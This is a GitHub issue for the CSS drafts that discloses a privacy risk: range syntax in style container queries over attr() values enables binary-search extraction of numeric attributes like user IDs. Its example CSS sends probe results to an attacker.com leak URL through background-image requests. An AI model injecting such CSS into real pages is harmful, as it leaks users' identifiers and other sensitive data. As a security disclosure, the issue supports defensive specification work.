Skip to content

[css-values-5][css-conditional-5] Security Concern: Accelerated Data Exfiltration with attr() and Style Query Ranges #12410

Open
@tursunova

Description

@tursunova

The introduction of range syntax in style container queries (as per https://drafts.csswg.org/css-conditional-5/#style-container) significantly reduces the complexity of extracting numeric values from attr()-tainted declarations. Previously, an attacker would need to linearly probe (O(n)) to deduce a numeric attribute value. With ranges, this can now be achieved much more efficiently, likely in logarithmic time (O(log n)).

When a <style-feature-value> within a style container query is attr()-tainted numeric value, the new range syntax allows an attacker to perform a binary search-like attack. By iteratively narrowing down the range, an attacker can rapidly discover the exact numeric value of the attribute. This poses a significant security risk if those numeric attributes contain sensitive or privacy-compromising information (e.g., user IDs, financial data, internal identifiers, session tokens, or other personally identifiable numeric data).

Example
Consider a scenario where a user's ID is reflected in a user_id attribute on an element:

<div user_id="12345">...</div>

An attacker could craft a series of style container queries, potentially injected via CSS or other means, to determine the user_id:

/* First probe: Is the user_id less than 500000? */
@container style(attr(user_id) < 500000) {
        /* If true, trigger a side effect observable by the attacker (e.g., load a specific background-image URL, change layout that triggers a reflow/repaint observable through timing attacks, etc.) */
        body { background-image: url("https://attacker.com/leak?val=lt500k"); }
}

/* Second probe (if < 500000 was true): Is it less than 250000? */
@container style(attr(user_id) < 250000) {
        body { background-image: url("https://attacker.com/leak?val=lt250k"); }
}

/* ... and so on, performing a binary search ... */

/* Example of a fine-grained probe to pinpoint the value */
@container style(attr(user_id) >= 12340) and style(attr(user_id) <= 12350) {
        body { background-image: url("https://attacker.com/leak?found=12345"); }
}

By observing network requests, timing, or other side channels, the attacker can deduce the precise user_id much faster than if only equality checks were available.

cc: @andruud @tabatkins

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions